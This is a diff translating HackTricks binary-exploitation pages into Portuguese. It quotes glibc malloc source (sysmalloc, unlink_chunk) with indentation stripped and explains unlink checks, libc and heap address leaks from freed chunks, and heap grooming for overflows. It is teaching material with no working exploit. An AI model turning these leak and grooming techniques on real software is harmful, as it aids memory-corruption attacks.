+uintptr_t top = ALIGN_UP ((uintptr_t) __curbrk + size,
+mp_.thp_pagesize);
+size = top - (uintptr_t) __curbrk;
+}
+else
 #endif
-	size = ALIGN_UP (size, GLRO(dl_pagesize));
+size = ALIGN_UP (size, GLRO(dl_pagesize));
 
-      /*
-         Don't try to call MORECORE if argument is so big as to appear
-         negative. Note that since mmap takes size_t arg, it may succeed
-         below even if we cannot call MORECORE.
-       */
+/*
+Don't try to call MORECORE if argument is so big as to appear
+negative. Note that since mmap takes size_t arg, it may succeed
+below even if we cannot call MORECORE.
+*/
 
-      if (size > 0)
-        {
-          brk = (char *) (MORECORE (size));
-	  if (brk != (char *) (MORECORE_FAILURE))
-	    madvise_thp (brk, size);
-          LIBC_PROBE (memory_sbrk_more, 2, brk, size);
-        }
+if (size > 0)
+{
+brk = (char *) (MORECORE (size));
+if (brk != (char *) (MORECORE_FAILURE))
+madvise_thp (brk, size);
+LIBC_PROBE (memory_sbrk_more, 2, brk, size);
+}
 ```
-
 

 
-### sysmalloc main arena previous error 1
+### sysmalloc erro anterior da arena principal 1
 
-If the previous returned `MORECORE_FAILURE`, try agin to allocate memory using `sysmalloc_mmap_fallback`
+Se o anterior retornou `MORECORE_FAILURE`, tente novamente alocar memória usando `sysmalloc_mmap_fallback`
 
 

 
-sysmalloc main arena previous error 1
-
+sysmalloc erro anterior da arena principal 1
 ```c
 // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2715C7-L2740C10
 
 if (brk == (char *) (MORECORE_FAILURE))
-        {
-          /*
-             If have mmap, try using it as a backup when MORECORE fails or
-             cannot be used. This is worth doing on systems that have "holes" in
-             address space, so sbrk cannot extend to give contiguous space, but
-             space is available elsewhere.  Note that we ignore mmap max count
-             and threshold limits, since the space will not be used as a
-             segregated mmap region.
-           */
+{
+/*
+If have mmap, try using it as a backup when MORECORE fails or
+cannot be used. This is worth doing on systems that have "holes" in
+address space, so sbrk cannot extend to give contiguous space, but
+space is available elsewhere.  Note that we ignore mmap max count
+and threshold limits, since the space will not be used as a
+segregated mmap region.
+*/
 
-	  char *mbrk = MAP_FAILED;
-	  if (mp_.hp_pagesize > 0)
-	    mbrk = sysmalloc_mmap_fallback (&size, nb, old_size,
-					    mp_.hp_pagesize, mp_.hp_pagesize,
-					    mp_.hp_flags, av);
-	  if (mbrk == MAP_FAILED)
-	    mbrk = sysmalloc_mmap_fallback (&size, nb, old_size, MMAP_AS_MORECORE_SIZE,
-					    pagesize, 0, av);
-	  if (mbrk != MAP_FAILED)
-	    {
-	      /* We do not need, and cannot use, another sbrk call to find end */
-	      brk = mbrk;
-	      snd_brk = brk + size;
-	    }
-        }
+char *mbrk = MAP_FAILED;
+if (mp_.hp_pagesize > 0)
+mbrk = sysmalloc_mmap_fallback (&size, nb, old_size,
+mp_.hp_pagesize, mp_.hp_pagesize,
+mp_.hp_flags, av);
+if (mbrk == MAP_FAILED)
+mbrk = sysmalloc_mmap_fallback (&size, nb, old_size, MMAP_AS_MORECORE_SIZE,
+pagesize, 0, av);
+if (mbrk != MAP_FAILED)
+{
+/* We do not need, and cannot use, another sbrk call to find end */
+brk = mbrk;
+snd_brk = brk + size;
+}
+}
 ```
-
 

 
-### sysmalloc main arena continue
+### continuação da arena principal do sysmalloc
 
-If the previous didn't return `MORECORE_FAILURE`, if it worked create some alignments:
+Se o anterior não retornou `MORECORE_FAILURE`, se funcionou, crie alguns alinhamentos:
 
 

 
-sysmalloc main arena previous error 2
-
+erro anterior 2 do sysmalloc na arena principal
 ```c
 // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2742
 
 if (brk != (char *) (MORECORE_FAILURE))
-        {
-          if (mp_.sbrk_base == 0)
-            mp_.sbrk_base = brk;
-          av->system_mem += size;
+{
+if (mp_.sbrk_base == 0)
+mp_.sbrk_base = brk;
+av->system_mem += size;
 
-          /*
-             If MORECORE extends previous space, we can likewise extend top size.
-           */
+/*
+If MORECORE extends previous space, we can likewise extend top size.
+*/
 
-          if (brk == old_end && snd_brk == (char *) (MORECORE_FAILURE))
-            set_head (old_top, (size + old_size) | PREV_INUSE);
+if (brk == old_end && snd_brk == (char *) (MORECORE_FAILURE))
+set_head (old_top, (size + old_size) | PREV_INUSE);
 
-          else if (contiguous (av) && old_size && brk < old_end)
-	    /* Oops!  Someone else killed our space..  Can't touch anything.  */
-	    malloc_printerr ("break adjusted to free malloc space");
+else if (contiguous (av) && old_size && brk < old_end)
+/* Oops!  Someone else killed our space..  Can't touch anything.  */
+malloc_printerr ("break adjusted to free malloc space");
 
-          /*
-             Otherwise, make adjustments:
+/*
+Otherwise, make adjustments:
 
-           * If the first time through or noncontiguous, we need to call sbrk
-              just to find out where the end of memory lies.
+* If the first time through or noncontiguous, we need to call sbrk
+just to find out where the end of memory lies.
 
-           * We need to ensure that all returned chunks from malloc will meet
-              MALLOC_ALIGNMENT
+* We need to ensure that all returned chunks from malloc will meet
+MALLOC_ALIGNMENT
 
-           * If there was an intervening foreign sbrk, we need to adjust sbrk
-              request size to account for fact that we will not be able to
-              combine new space with existing space in old_top.
+* If there was an intervening foreign sbrk, we need to adjust sbrk
+request size to account for fact that we will not be able to
+combine new space with existing space in old_top.
 
-           * Almost all systems internally allocate whole pages at a time, in
-              which case we might as well use the whole last page of request.
-              So we allocate enough more memory to hit a page boundary now,
-              which in turn causes future contiguous calls to page-align.
-           */
+* Almost all systems internally allocate whole pages at a time, in
+which case we might as well use the whole last page of request.
+So we allocate enough more memory to hit a page boundary now,
+which in turn causes future contiguous calls to page-align.
+*/
 
-          else
-            {
-              front_misalign = 0;
-              end_misalign = 0;
-              correction = 0;
-              aligned_brk = brk;
+else
+{
+front_misalign = 0;
+end_misalign = 0;
+correction = 0;
+aligned_brk = brk;
 
-              /* handle contiguous cases */
-              if (contiguous (av))
-                {
-                  /* Count foreign sbrk as system_mem.  */
-                  if (old_size)
-                    av->system_mem += brk - old_end;
+/* handle contiguous cases */
+if (contiguous (av))
+{
+/* Count foreign sbrk as system_mem.  */
+if (old_size)
+av->system_mem += brk - old_end;
 
-                  /* Guarantee alignment of first new chunk made from this space */
+/* Guarantee alignment of first new chunk made from this space */
 
-                  front_misalign = (INTERNAL_SIZE_T) chunk2mem (brk) & MALLOC_ALIGN_MASK;
-                  if (front_misalign > 0)
-                    {
-                      /*
-                         Skip over some bytes to arrive at an aligned position.
-                         We don't need to specially mark these wasted front bytes.
-                         They will never be accessed anyway because
-                         prev_inuse of av->top (and any chunk created from its start)
-                         is always true after initialization.
-                       */
+front_misalign = (INTERNAL_SIZE_T) chunk2mem (brk) & MALLOC_ALIGN_MASK;
+if (front_misalign > 0)
+{
+/*
+Skip over some bytes to arrive at an aligned position.
+We don't need to specially mark these wasted front bytes.
+They will never be accessed anyway because
+prev_inuse of av->top (and any chunk created from its start)
+is always true after initialization.
+*/
 
-                      correction = MALLOC_ALIGNMENT - front_misalign;
-                      aligned_brk += correction;
-                    }
+correction = MALLOC_ALIGNMENT - front_misalign;
+aligned_brk += correction;
+}
 
-                  /*
-                     If this isn't adjacent to existing space, then we will not
-                     be able to merge with old_top space, so must add to 2nd request.
-                   */
+/*
+If this isn't adjacent to existing space, then we will not
+be able to merge with old_top space, so must add to 2nd request.
+*/
 
-                  correction += old_size;
+correction += old_size;
 
-                  /* Extend the end address to hit a page boundary */
-                  end_misalign = (INTERNAL_SIZE_T) (brk + size + correction);
-                  correction += (ALIGN_UP (end_misalign, pagesize)) - end_misalign;
+/* Extend the end address to hit a page boundary */
+end_misalign = (INTERNAL_SIZE_T) (brk + size + correction);
+correction += (ALIGN_UP (end_misalign, pagesize)) - end_misalign;
 
-                  assert (correction >= 0);
-                  snd_brk = (char *) (MORECORE (correction));
+assert (correction >= 0);
+snd_brk = (char *) (MORECORE (correction));
 
-                  /*
-                     If can't allocate correction, try to at least find out current
-                     brk.  It might be enough to proceed without failing.
+/*
+If can't allocate correction, try to at least find out current
+brk.  It might be enough to proceed without failing.
 
-                     Note that if second sbrk did NOT fail, we assume that space
-                     is contiguous with first sbrk. This is a safe assumption unless
-                     program is multithreaded but doesn't use locks and a foreign sbrk
-                     occurred between our first and second calls.
-                   */
+Note that if second sbrk did NOT fail, we assume that space
+is contiguous with first sbrk. This is a safe assumption unless
+program is multithreaded but doesn't use locks and a foreign sbrk
+occurred between our first and second calls.
+*/
 
-                  if (snd_brk == (char *) (MORECORE_FAILURE))
-                    {
-                      correction = 0;
-                      snd_brk = (char *) (MORECORE (0));
-                    }
-		  else
-		    madvise_thp (snd_brk, correction);
-                }
+if (snd_brk == (char *) (MORECORE_FAILURE))
+{
+correction = 0;
+snd_brk = (char *) (MORECORE (0));
+}
+else
+madvise_thp (snd_brk, correction);
+}
 
-              /* handle non-contiguous cases */
-              else
-                {
-                  if (MALLOC_ALIGNMENT == CHUNK_HDR_SZ)
-                    /* MORECORE/mmap must correctly align */
-                    assert (((unsigned long) chunk2mem (brk) & MALLOC_ALIGN_MASK) == 0);
-                  else
-                    {
-                      front_misalign = (INTERNAL_SIZE_T) chunk2mem (brk) & MALLOC_ALIGN_MASK;
-                      if (front_misalign > 0)
-                        {
-                          /*
-                             Skip over some bytes to arrive at an aligned position.
-                             We don't need to specially mark these wasted front bytes.
-                             They will never be accessed anyway because
-                             prev_inuse of av->top (and any chunk created from its start)
-                             is always true after initialization.
-                           */
+/* handle non-contiguous cases */
+else
+{
+if (MALLOC_ALIGNMENT == CHUNK_HDR_SZ)
+/* MORECORE/mmap must correctly align */
+assert (((unsigned long) chunk2mem (brk) & MALLOC_ALIGN_MASK) == 0);
+else
+{
+front_misalign = (INTERNAL_SIZE_T) chunk2mem (brk) & MALLOC_ALIGN_MASK;
+if (front_misalign > 0)
+{
+/*
+Skip over some bytes to arrive at an aligned position.
+We don't need to specially mark these wasted front bytes.
+They will never be accessed anyway because
+prev_inuse of av->top (and any chunk created from its start)
+is always true after initialization.
+*/
 
-                          aligned_brk += MALLOC_ALIGNMENT - front_misalign;
-                        }
-                    }
+aligned_brk += MALLOC_ALIGNMENT - front_misalign;
+}
+}
 
-                  /* Find out current end of memory */
-                  if (snd_brk == (char *) (MORECORE_FAILURE))
-                    {
-                      snd_brk = (char *) (MORECORE (0));
-                    }
-                }
+/* Find out current end of memory */
+if (snd_brk == (char *) (MORECORE_FAILURE))
+{
+snd_brk = (char *) (MORECORE (0));
+}
+}
 
-              /* Adjust top based on results of second sbrk */
-              if (snd_brk != (char *) (MORECORE_FAILURE))
-                {
-                  av->top = (mchunkptr) aligned_brk;
-                  set_head (av->top, (snd_brk - aligned_brk + correction) | PREV_INUSE);
-                  av->system_mem += correction;
+/* Adjust top based on results of second sbrk */
+if (snd_brk != (char *) (MORECORE_FAILURE))
+{
+av->top = (mchunkptr) aligned_brk;
+set_head (av->top, (snd_brk - aligned_brk + correction) | PREV_INUSE);
+av->system_mem += correction;
 
-                  /*
-                     If not the first time through, we either have a
-                     gap due to foreign sbrk or a non-contiguous region.  Insert a
-                     double fencepost at old_top to prevent consolidation with space
-                     we don't own. These fenceposts are artificial chunks that are
-                     marked as inuse and are in any case too small to use.  We need
-                     two to make sizes and alignments work out.
-                   */
+/*
+If not the first time through, we either have a
+gap due to foreign sbrk or a non-contiguous region.  Insert a
+double fencepost at old_top to prevent consolidation with space
+we don't own. These fenceposts are artificial chunks that are
+marked as inuse and are in any case too small to use.  We need
+two to make sizes and alignments work out.
+*/
 
-                  if (old_size != 0)
-                    {
-                      /*
-                         Shrink old_top to insert fenceposts, keeping size a
-                         multiple of MALLOC_ALIGNMENT. We know there is at least
-                         enough space in old_top to do this.
-                       */
-                      old_size = (old_size - 2 * CHUNK_HDR_SZ) & ~MALLOC_ALIGN_MASK;
-                      set_head (old_top, old_size | PREV_INUSE);
+if (old_size != 0)
+{
+/*
+Shrink old_top to insert fenceposts, keeping size a
+multiple of MALLOC_ALIGNMENT. We know there is at least
+enough space in old_top to do this.
+*/
+old_size = (old_size - 2 * CHUNK_HDR_SZ) & ~MALLOC_ALIGN_MASK;
+set_head (old_top, old_size | PREV_INUSE);
 
-                      /*
-                         Note that the following assignments completely overwrite
-                         old_top when old_size was previously MINSIZE.  This is
-                         intentional. We need the fencepost, even if old_top otherwise gets
-                         lost.
-                       */
-		      set_head (chunk_at_offset (old_top, old_size),
-				CHUNK_HDR_SZ | PREV_INUSE);
-		      set_head (chunk_at_offset (old_top,
-						 old_size + CHUNK_HDR_SZ),
-				CHUNK_HDR_SZ | PREV_INUSE);
+/*
+Note that the following assignments completely overwrite
+old_top when old_size was previously MINSIZE.  This is
+intentional. We need the fencepost, even if old_top otherwise gets
+lost.
+*/
+set_head (chunk_at_offset (old_top, old_size),
+CHUNK_HDR_SZ | PREV_INUSE);
+set_head (chunk_at_offset (old_top,
+old_size + CHUNK_HDR_SZ),
+CHUNK_HDR_SZ | PREV_INUSE);
 
-                      /* If possible, release the rest. */
-                      if (old_size >= MINSIZE)
-                        {
-                          _int_free (av, old_top, 1);
-                        }
-                    }
-                }
-            }
-        }
-    } /* if (av !=  &main_arena) */
+/* If possible, release the rest. */
+if (old_size >= MINSIZE)
+{
+_int_free (av, old_top, 1);
+}
+}
+}
+}
+}
+} /* if (av !=  &main_arena) */
 ```
-
 

 
 ### sysmalloc finale
 
-Finish the allocation updating the arena information
-
+Finalize a alocação atualizando as informações da arena
 ```c
 // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2921C3-L2943C12
 
 if ((unsigned long) av->system_mem > (unsigned long) (av->max_system_mem))
-    av->max_system_mem = av->system_mem;
-  check_malloc_state (av);
+av->max_system_mem = av->system_mem;
+check_malloc_state (av);
 
-  /* finally, do the allocation */
-  p = av->top;
-  size = chunksize (p);
+/* finally, do the allocation */
+p = av->top;
+size = chunksize (p);
 
-  /* check that one of the above allocation paths succeeded */
-  if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
-    {
-      remainder_size = size - nb;
-      remainder = chunk_at_offset (p, nb);
-      av->top = remainder;
-      set_head (p, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0));
-      set_head (remainder, remainder_size | PREV_INUSE);
-      check_malloced_chunk (av, p, nb);
-      return chunk2mem (p);
-    }
+/* check that one of the above allocation paths succeeded */
+if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
+{
+remainder_size = size - nb;
+remainder = chunk_at_offset (p, nb);
+av->top = remainder;
+set_head (p, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0));
+set_head (remainder, remainder_size | PREV_INUSE);
+check_malloced_chunk (av, p, nb);
+return chunk2mem (p);
+}
 
-  /* catch all failure paths */
-  __set_errno (ENOMEM);
-  return 0;
+/* catch all failure paths */
+__set_errno (ENOMEM);
+return 0;
 ```
-
 ## sysmalloc_mmap
 
 

 
-sysmalloc_mmap code
-
+código sysmalloc_mmap
 ```c
 // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2392C1-L2481C2
 
 static void *
 sysmalloc_mmap (INTERNAL_SIZE_T nb, size_t pagesize, int extra_flags, mstate av)
 {
-  long int size;
+long int size;
 
-  /*
-    Round up size to nearest page.  For mmapped chunks, the overhead is one
-    SIZE_SZ unit larger than for normal chunks, because there is no
-    following chunk whose prev_size field could be used.
+/*
+Round up size to nearest page.  For mmapped chunks, the overhead is one
+SIZE_SZ unit larger than for normal chunks, because there is no
+following chunk whose prev_size field could be used.
 
-    See the front_misalign handling below, for glibc there is no need for
-    further alignments unless we have have high alignment.
-   */
-  if (MALLOC_ALIGNMENT == CHUNK_HDR_SZ)
-    size = ALIGN_UP (nb + SIZE_SZ, pagesize);
-  else
-    size = ALIGN_UP (nb + SIZE_SZ + MALLOC_ALIGN_MASK, pagesize);
+See the front_misalign handling below, for glibc there is no need for
+further alignments unless we have have high alignment.
+*/
+if (MALLOC_ALIGNMENT == CHUNK_HDR_SZ)
+size = ALIGN_UP (nb + SIZE_SZ, pagesize);
+else
+size = ALIGN_UP (nb + SIZE_SZ + MALLOC_ALIGN_MASK, pagesize);
 
-  /* Don't try if size wraps around 0.  */
-  if ((unsigned long) (size) <= (unsigned long) (nb))
-    return MAP_FAILED;
+/* Don't try if size wraps around 0.  */
+if ((unsigned long) (size) <= (unsigned long) (nb))
+return MAP_FAILED;
 
-  char *mm = (char *) MMAP (0, size,
-			    mtag_mmap_flags | PROT_READ | PROT_WRITE,
-			    extra_flags);
-  if (mm == MAP_FAILED)
-    return mm;
+char *mm = (char *) MMAP (0, size,
+mtag_mmap_flags | PROT_READ | PROT_WRITE,
+extra_flags);
+if (mm == MAP_FAILED)
+return mm;
 
 #ifdef MAP_HUGETLB
-  if (!(extra_flags & MAP_HUGETLB))
-    madvise_thp (mm, size);
+if (!(extra_flags & MAP_HUGETLB))
+madvise_thp (mm, size);
 #endif
 
-  __set_vma_name (mm, size, " glibc: malloc");
+__set_vma_name (mm, size, " glibc: malloc");
 
-  /*
-    The offset to the start of the mmapped region is stored in the prev_size
-    field of the chunk.  This allows us to adjust returned start address to
-    meet alignment requirements here and in memalign(), and still be able to
-    compute proper address argument for later munmap in free() and realloc().
-   */
+/*
+The offset to the start of the mmapped region is stored in the prev_size
+field of the chunk.  This allows us to adjust returned start address to
+meet alignment requirements here and in memalign(), and still be able to
+compute proper address argument for later munmap in free() and realloc().
+*/
 
-  INTERNAL_SIZE_T front_misalign; /* unusable bytes at front of new space */
+INTERNAL_SIZE_T front_misalign; /* unusable bytes at front of new space */
 
-  if (MALLOC_ALIGNMENT == CHUNK_HDR_SZ)
-    {
-      /* For glibc, chunk2mem increases the address by CHUNK_HDR_SZ and
-	 MALLOC_ALIGN_MASK is CHUNK_HDR_SZ-1.  Each mmap'ed area is page
-	 aligned and therefore definitely MALLOC_ALIGN_MASK-aligned.  */
-      assert (((INTERNAL_SIZE_T) chunk2mem (mm) & MALLOC_ALIGN_MASK) == 0);
-      front_misalign = 0;
-    }
-  else
-    front_misalign = (INTERNAL_SIZE_T) chunk2mem (mm) & MALLOC_ALIGN_MASK;
+if (MALLOC_ALIGNMENT == CHUNK_HDR_SZ)
+{
+/* For glibc, chunk2mem increases the address by CHUNK_HDR_SZ and
+MALLOC_ALIGN_MASK is CHUNK_HDR_SZ-1.  Each mmap'ed area is page
+aligned and therefore definitely MALLOC_ALIGN_MASK-aligned.  */
+assert (((INTERNAL_SIZE_T) chunk2mem (mm) & MALLOC_ALIGN_MASK) == 0);
+front_misalign = 0;
+}
+else
+front_misalign = (INTERNAL_SIZE_T) chunk2mem (mm) & MALLOC_ALIGN_MASK;
 
-  mchunkptr p;                    /* the allocated/returned chunk */
+mchunkptr p;                    /* the allocated/returned chunk */
 
-  if (front_misalign > 0)
-    {
-      ptrdiff_t correction = MALLOC_ALIGNMENT - front_misalign;
-      p = (mchunkptr) (mm + correction);
-      set_prev_size (p, correction);
-      set_head (p, (size - correction) | IS_MMAPPED);
-    }
-  else
-    {
-      p = (mchunkptr) mm;
-      set_prev_size (p, 0);
-      set_head (p, size | IS_MMAPPED);
-    }
+if (front_misalign > 0)
+{
+ptrdiff_t correction = MALLOC_ALIGNMENT - front_misalign;
+p = (mchunkptr) (mm + correction);
+set_prev_size (p, correction);
+set_head (p, (size - correction) | IS_MMAPPED);
+}
+else
+{
+p = (mchunkptr) mm;
+set_prev_size (p, 0);
+set_head (p, size | IS_MMAPPED);
+}
 
-  /* update statistics */
-  int new = atomic_fetch_add_relaxed (&mp_.n_mmaps, 1) + 1;
-  atomic_max (&mp_.max_n_mmaps, new);
+/* update statistics */
+int new = atomic_fetch_add_relaxed (&mp_.n_mmaps, 1) + 1;
+atomic_max (&mp_.max_n_mmaps, new);
 
-  unsigned long sum;
-  sum = atomic_fetch_add_relaxed (&mp_.mmapped_mem, size) + size;
-  atomic_max (&mp_.max_mmapped_mem, sum);
+unsigned long sum;
+sum = atomic_fetch_add_relaxed (&mp_.mmapped_mem, size) + size;
+atomic_max (&mp_.max_mmapped_mem, sum);
 
-  check_chunk (av, p);
+check_chunk (av, p);
 
-  return chunk2mem (p);
+return chunk2mem (p);
 }
 ```
-
 

 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/libc-heap/heap-memory-functions/unlink.md b/src/binary-exploitation/libc-heap/heap-memory-functions/unlink.md
index 7d26f6546..7077af295 100644
--- a/src/binary-exploitation/libc-heap/heap-memory-functions/unlink.md
+++ b/src/binary-exploitation/libc-heap/heap-memory-functions/unlink.md
@@ -2,8 +2,7 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-### Code
-
+### Código
 ```c
 // From https://github.com/bminor/glibc/blob/master/malloc/malloc.c
 
@@ -11,73 +10,72 @@
 static void
 unlink_chunk (mstate av, mchunkptr p)
 {
-  if (chunksize (p) != prev_size (next_chunk (p)))
-    malloc_printerr ("corrupted size vs. prev_size");
+if (chunksize (p) != prev_size (next_chunk (p)))
+malloc_printerr ("corrupted size vs. prev_size");
 
-  mchunkptr fd = p->fd;
-  mchunkptr bk = p->bk;
+mchunkptr fd = p->fd;
+mchunkptr bk = p->bk;
 
-  if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
-    malloc_printerr ("corrupted double-linked list");
+if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
+malloc_printerr ("corrupted double-linked list");
 
-  fd->bk = bk;
-  bk->fd = fd;
-  if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
-    {
-      if (p->fd_nextsize->bk_nextsize != p
-	  || p->bk_nextsize->fd_nextsize != p)
-	malloc_printerr ("corrupted double-linked list (not small)");
+fd->bk = bk;
+bk->fd = fd;
+if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
+{
+if (p->fd_nextsize->bk_nextsize != p
+|| p->bk_nextsize->fd_nextsize != p)
+malloc_printerr ("corrupted double-linked list (not small)");
 
-      // Added: If the FD is not in the nextsize list
-      if (fd->fd_nextsize == NULL)
-	{
+// Added: If the FD is not in the nextsize list
+if (fd->fd_nextsize == NULL)
+{
 
-	  if (p->fd_nextsize == p)
-	    fd->fd_nextsize = fd->bk_nextsize = fd;
-	  else
-	    // Link the nexsize list in when removing the new chunk
-	    {
-	      fd->fd_nextsize = p->fd_nextsize;
-	      fd->bk_nextsize = p->bk_nextsize;
-	      p->fd_nextsize->bk_nextsize = fd;
-	      p->bk_nextsize->fd_nextsize = fd;
-	    }
-	}
-      else
-	{
-	  p->fd_nextsize->bk_nextsize = p->bk_nextsize;
-	  p->bk_nextsize->fd_nextsize = p->fd_nextsize;
-	}
-    }
+if (p->fd_nextsize == p)
+fd->fd_nextsize = fd->bk_nextsize = fd;
+else
+// Link the nexsize list in when removing the new chunk
+{
+fd->fd_nextsize = p->fd_nextsize;
+fd->bk_nextsize = p->bk_nextsize;
+p->fd_nextsize->bk_nextsize = fd;
+p->bk_nextsize->fd_nextsize = fd;
+}
+}
+else
+{
+p->fd_nextsize->bk_nextsize = p->bk_nextsize;
+p->bk_nextsize->fd_nextsize = p->fd_nextsize;
+}
+}
 }
 ```
+### Explicação Gráfica
 
-### Graphical Explanation
-
-Check this great graphical explanation of the unlink process:
+Confira esta ótima explicação gráfica do processo unlink:
 
 
https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png

 
-### Security Checks
+### Verificações de Segurança
 
-- Check if the indicated size of the chunk is the same as the prev_size indicated in the next chunk
-- Check also that `P->fd->bk == P` and `P->bk->fw == P`
-- If the chunk is not small, check that `P->fd_nextsize->bk_nextsize == P` and `P->bk_nextsize->fd_nextsize == P`
+- Verifique se o tamanho indicado do chunk é o mesmo que o prev_size indicado no próximo chunk
+- Verifique também se `P->fd->bk == P` e `P->bk->fw == P`
+- Se o chunk não for pequeno, verifique se `P->fd_nextsize->bk_nextsize == P` e `P->bk_nextsize->fd_nextsize == P`
 
-### Leaks
+### Vazamentos
 
-An unlinked chunk is not cleaning the allocated addreses, so having access to rad it, it's possible to leak some interesting addresses:
+Um chunk não vinculado não limpa os endereços alocados, então, tendo acesso a ele, é possível vazar alguns endereços interessantes:
 
-Libc Leaks:
+Vazamentos de Libc:
 
-- If P is located in the head of the doubly linked list, `bk` will be pointing to `malloc_state` in libc
-- If P is located at the end of the doubly linked list, `fd` will be pointing to `malloc_state` in libc
-- When the doubly linked list contains only one free chunk, P is in the doubly linked list, and both `fd` and `bk` can leak the address inside `malloc_state`.
+- Se P estiver localizado na cabeça da lista duplamente encadeada, `bk` estará apontando para `malloc_state` na libc
+- Se P estiver localizado no final da lista duplamente encadeada, `fd` estará apontando para `malloc_state` na libc
+- Quando a lista duplamente encadeada contém apenas um chunk livre, P está na lista duplamente encadeada, e tanto `fd` quanto `bk` podem vazar o endereço dentro de `malloc_state`.
 
-Heap leaks:
+Vazamentos de Heap:
 
-- If P is located in the head of the doubly linked list, `fd` will be pointing to an available chunk in the heap
-- If P is located at the end of the doubly linked list, `bk` will be pointing to an available chunk in the heap
-- If P is in the doubly linked list, both `fd` and `bk` will be pointing to an available chunk in the heap
+- Se P estiver localizado na cabeça da lista duplamente encadeada, `fd` estará apontando para um chunk disponível no heap
+- Se P estiver localizado no final da lista duplamente encadeada, `bk` estará apontando para um chunk disponível no heap
+- Se P estiver na lista duplamente encadeada, tanto `fd` quanto `bk` estarão apontando para um chunk disponível no heap
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/libc-heap/heap-overflow.md b/src/binary-exploitation/libc-heap/heap-overflow.md
index 24ea86a70..55f2c9c0b 100644
--- a/src/binary-exploitation/libc-heap/heap-overflow.md
+++ b/src/binary-exploitation/libc-heap/heap-overflow.md
@@ -2,49 +2,47 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Basic Information
+## Informações Básicas
 
-A heap overflow is like a [**stack overflow**](../stack-overflow/) but in the heap. Basically it means that some space was reserved in the heap to store some data and **stored data was bigger than the space reserved.**
+Um heap overflow é como um [**stack overflow**](../stack-overflow/), mas no heap. Basicamente, isso significa que algum espaço foi reservado no heap para armazenar alguns dados e **os dados armazenados eram maiores do que o espaço reservado.**
 
-In stack overflows we know that some registers like the instruction pointer or the stack frame are going to be restored from the stack and it could be possible to abuse this. In case of heap overflows, there **isn't any sensitive information stored by default** in the heap chunk that can be overflowed. However, it could be sensitive information or pointers, so the **criticality** of this vulnerability **depends** on **which data could be overwritten** and how an attacker could abuse this.
+Em stack overflows, sabemos que alguns registradores, como o ponteiro de instrução ou o quadro de pilha, serão restaurados da pilha e pode ser possível abusar disso. No caso de heap overflows, **não há nenhuma informação sensível armazenada por padrão** no bloco de heap que pode ser transbordado. No entanto, pode haver informações sensíveis ou ponteiros, então a **criticidade** dessa vulnerabilidade **depende** de **quais dados podem ser sobrescritos** e como um atacante poderia abusar disso.
 
 > [!TIP]
-> In order to find overflow offsets you can use the same patterns as in [**stack overflows**](../stack-overflow/#finding-stack-overflows-offsets).
+> Para encontrar offsets de overflow, você pode usar os mesmos padrões que em [**stack overflows**](../stack-overflow/#finding-stack-overflows-offsets).
 
 ### Stack Overflows vs Heap Overflows
 
-In stack overflows the arranging and data that is going to be present in the stack at the moment the vulnerability can be triggered is fairly reliable. This is because the stack is linear, always increasing in colliding memory, in **specific places of the program run the stack memory usually stores similar kind of data** and it has some specific structure with some pointers at the end of the stack part used by each function.
+Em stack overflows, a disposição e os dados que estarão presentes na pilha no momento em que a vulnerabilidade pode ser acionada são bastante confiáveis. Isso ocorre porque a pilha é linear, sempre aumentando em memória colidida, em **lugares específicos da execução do programa, a memória da pilha geralmente armazena um tipo semelhante de dados** e possui uma estrutura específica com alguns ponteiros no final da parte da pilha usada por cada função.
 
-However, in the case of a heap overflow, the used memory isn’t linear but **allocated chunks are usually in separated positions of memory** (not one next to the other) because of **bins and zones** separating allocations by size and because **previous freed memory is used** before allocating new chunks. It’s **complicated to know the object that is going to be colliding with the one vulnerable** to a heap overflow. So, when a heap overflow is found, it’s needed to find a **reliable way to make the desired object to be next in memory** from the one that can be overflowed.
+No entanto, no caso de um heap overflow, a memória usada não é linear, mas **os blocos alocados geralmente estão em posições separadas da memória** (não um ao lado do outro) devido a **bins e zonas** que separam alocações por tamanho e porque **a memória previamente liberada é usada** antes de alocar novos blocos. É **complicado saber qual objeto estará colidindo com aquele vulnerável** a um heap overflow. Portanto, quando um heap overflow é encontrado, é necessário encontrar uma **maneira confiável de fazer o objeto desejado estar próximo na memória** do que pode ser transbordado.
 
-One of the techniques used for this is **Heap Grooming** which is used for example [**in this post**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). In the post it’s explained how when in iOS kernel when a zone run out of memory to store chunks of memory, it expands it by a kernel page, and this page is splitted into chunks of the expected sizes which would be used in order (until iOS version 9.2, then these chunks are used in a randomised way to difficult the exploitation of these attacks).
+Uma das técnicas usadas para isso é **Heap Grooming**, que é usada, por exemplo, [**neste post**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). No post, é explicado como, quando no kernel do iOS, uma zona fica sem memória para armazenar blocos de memória, ela se expande por uma página do kernel, e essa página é dividida em blocos dos tamanhos esperados que seriam usados em ordem (até a versão 9.2 do iOS, depois esses blocos são usados de maneira aleatória para dificultar a exploração desses ataques).
 
-Therefore, in the previous post where a heap overflow is happening, in order to force the overflowed object to be colliding with a victim order, several **`kallocs` are forced by several threads to try to ensure that all the free chunks are filled and that a new page is created**.
